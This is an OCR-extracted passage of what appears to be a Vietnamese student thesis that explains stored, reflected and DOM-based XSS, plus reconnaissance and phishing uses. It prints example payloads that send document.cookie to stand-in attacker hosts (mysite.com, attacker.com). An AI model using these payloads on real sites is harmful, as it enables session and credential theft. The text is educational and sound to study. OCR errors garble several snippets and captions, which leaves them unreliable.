Doan mã độc hại được lưu trên database của web server Khi có người dùng

nào đó truy cập trang web hoặc các thành phần của web đã bị khai thác, đoạn

mã sẽ được thực thi gây ảnh hưởng đến người dùng

2.7.1.1 Phương pháp khai thác

e 1 Attacker truy cập vào trang web không an toàn và thành công chèn

được đoạn ma Javascript vào database của web server (thông thường

qua các thành phần như comment hoặc post)

e 2 Người dùng bình thường truy cập vào trang web và xem các thành

phần của trang web (comment, post, ), gửi yêu cầu xem dữ liệu đến

database của web server.

e 3 Trang web gửi về dữ liệu từ database bao gồm đoạn mã Javascript

đã được chèn bởi attacker.

e 4 Trình duyệt của người dùng biên dịch đoạn ma Javascript như một

phần của trang web và thực thi đoạn mã đó.

Trang 32

e Attacker phát hiện một trang web có lỗ hong không lọc dữ liệu người

dùng nhập cho phép attacker nhúng HTML vào phần bình luận tacker có đăng nhận xét có chứa mã Javascript trong phần bình luận

At-đó

Trang 33

Forum.com

Commerrt

Just my opinion, please read !!!

<serip> sre="http://mysite.com”+document.cookie </script>.

Reply - Lites

¬

(#) Type something

Hình 2.6: Ví du attacker chèn HTML uào phan binh luận

e Từ đó khi có người dùng nào truy cập phần nhận xét của attacker,

thẻ HTML được chèn vào sẽ thực thi đoạn mã Javascript và đánh cắp

dữ liệu của người dùng như cookie.

e Sử dung thông tin về cookie, attacker có thể truy cập vào dữ liệu nhạy

cảm của người dùng như tài khoản truy cập, thông tin về trình duyệt

cũng như lịch sử truy cập

2.7.2 Reflected XSS

Đây là phương pháp khai thác XSS phổ biến nhất và có thé dé dang đượcphát hiện so với các phương pháp khác Attacker thực thi đoạn mã bên phía

người dùng (thường là một phần của URL) Khi người dùng nhắn vào đường

link, đoạn mã sẽ được thực thi và trong khi vẫn chuyển hướng đến trang web hợp

pháp cho phép attacker đánh cắp thông tin người dùng (cookie, session token, )

Trang 34

2.7.2.1 Cách thúc khai thác

Hình 2.5 mô tả quá trình khai thác.

e 1 Attacker tạo một đường dẫn URL bao chứa đoạn mã độc hại và gửi

đến người dùng (thông qua nhắn tin, email, website quảng cáo, )

e 2 Người dùng mở đườnng link và yêu cầu truy cập dữ liệu đến một

trang web hợp pháp (thông qua chuyển hướng trang web).

e 3 Web server phản hồi lại yêu cầu bao gồm đoạn mã đến người dùng

e 4 Trình duyệt của người dùng biên dịch dữ liệu phản hồi bao gồm

đoạn mã để hiển thi cho người dùng, trong đó đoạn mã được thực thi.

e 5 Thông tin của người dùng và trình duyệt được gửi đến attacker

Trang 35

2.7.2.2 Ví dụ khai thác

e Attacker phát hiện một trang web không lọc dữ liệu của người dùng

trên URL của web, điều đó cho phép attacker chèn mã HTML vào ƯRL

như sau: hxxp://example.com?query=<script>src="hxxp://attacker[.Jcom/ma

e Attacker nhúng đường link này vào phishing web và gửi đến người

dùng thông qua kĩ thuật social engineering Khi người dùng nhấn vào

đường link đoạn mã Javascript sẽ được thực thi và thực hiện các hành

vi không mong muốn

2.7.3 Dom-based XSS

DOM-based XSS tương tự như Reflected XSS ngoại trừ đoạn mã đoạn ma

độc hại sẽ được thực thi trên client-side thay vi server-side Attacker sử dụng

đoạn mã khai thác để thay đổi Document Object Model (DOM) của trang web.

Khi một trang web được tải trên trình duyệt thì DOM cũng sẽ được tạo Vì

vậy trong khi HTLM của web không thay đổi, các đoạn mã trên client-side lại

được thực thi khác hoàn toàn dẫn đến các hậu quả không mong muốn cho người

dùng.

2.7.3.1 Cách thúc khai thác

Hình 2.6 mô tả quá trình khai thác.

e 1 Attacker phát hiên một trang web bị lỗi XSS tao một đường dẫn

URL bao chứa đoạn mã độc hại và gửi đến người dùng (thông qua

nhắn tin, email, website quảng cáo, )

e 2 Người dùng bi lừa mở đường link và được chuyển hướng đến trang

web bị lỗi đó, đoạn mã độc hại vẫn được giữ trên client-side của web.

e 3 Web server phản hồi lại yêu cầu không bao gồm đoạn mã độc hai

đến người dùng.

Trang 36

e 4 Trình duyệt sẽ thực thi đoạn mã độc hại trên client-side trước rồi

mới đến các đoạn mã hợp lệ

e 5 DOM sẽ được thay đổi dựa theo đoạn mã độc hại dẫn đến các hành

vi không mong muốn như gửi thông tin người dùng cho attacker

}

Hình 2.8: Vi dụ vé các bước khai thác lỗ hổng DOM-based XSS

2.7.8.2 Ví dụ khai thác

e Tương tự như Reflected XSS, attacker phát hiện trang web không lọc

dữ liệu của người dùng cho phép đặt mã HTML như một phần của

truy vấn tìm kiếm dữ liệu của trang web và gửi đến người dùng thông

qua kĩ thuật social engineering.

e Người dùng bị lừa nhấn vào đường liên kết, client sẽ gửi truy vấn đến

máy chủ Trang web sẽ không bao giờ kiểm tra đoạn mã HMTL (hoặc

Trang 37

không thực sự nhận được) và trả về phản hồi như sau:

<html>

<h1> You Searched for:</h1>

<div id ="searchquery"><script>window location='http://attacker.com/?cookie='+document.cookie</scr:

<script>

var keyword = location.search.substring(3);

document querySelector('searchquery').innerHTML = keyword;

<script›|

Hình 2.9: Vi dụ vé các bước khai thác lỗ hổng DOM-based XSS

e Các đoạn mã thực hợp lệ sẽ được thực thi trước, sau đó là kết quả

truy vấn và đoạn mã HTML đính kèm nó

e Trình duyệt thực thi đoạn mã mới dẫn đến các hành vi không mong

muốn cho người dùng

2.8 Các loại ý định tan công trong việc tận dụng lỗi XSS

2.8.1 Reconnaisse

Mục đích của do thám là để attacker kiểm tra xem trang web có thể bị khai

thác lỗi XSS không bằng cách thử một vai payload đơn giản Đây là bước đầu

tiên trong quá trình khai thác để tiếp tục các hành vi gây ảnh hưởng cho người

dùng Hình ví du attacker kiểm tra lỗ hổng XSS trên một trang web bằng lệnh

alert().

portswigger-labs.net

:tors please visit the XSS cheat sheet

portswigger-labs.net says

ontexts: html,before_body,js_string_single,js_string_double,he li)

Hình 2.10: Vi dụ vé các bước khai thác lỗ hổng DOM-based XSS

Trang 38

Chuyển hướng một đối tượng trong trang web ra đường dẫn bên ngoài.

2.8.2 Phishing

Phishing nhắm đến việc đánh lừa người dùng để thu nhập thông tin nhạy

cảm như username, password, email, thẻ tín dung, bằng cách chèn các yếu tốlừa đảo vào trang web Các yếu tố này được thiết kế sao cho người dùng cảm

thấy tin cậy và không nghi ngờ, đồng thời sử dụng các kỹ thuật để che giấu ý

định thực sự và thu thập dữ liệu người dùng một cách bí mật Cách thức phổ biến là giả mạo các trang web của tổ chức uy tín.

Phishing trong XSS có hai dang:

Chèn đối tượng vào trang web

Ỏ phương thức tấn công này, attacker chèn một form đăng nhập vào trang

web để thu nhập thông tin người dùng ví dụ như 6 hình 2.8 Người dùng có thể

bị lừa nhập thông tin của mình để tiếp tục xem nội dung trang web Ngay khi

người dùng nhấn vào nút Login, thông tin sẽ được gửi về attacker

Sau khi người dùng nhập thông tin vào, sẽ không có gì diễn ra có thể khiến

họ nghi ngờ đây là một cuộc tấn công và tiến hành thay đổi thông tin.

An error occurred Please login

again.

Pass |

Hình 2.11: Ví dụ vé các bước khai thác lỗ hổng DOM-based XSS

Ngày đăng: 23/12/2024, 23:46

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w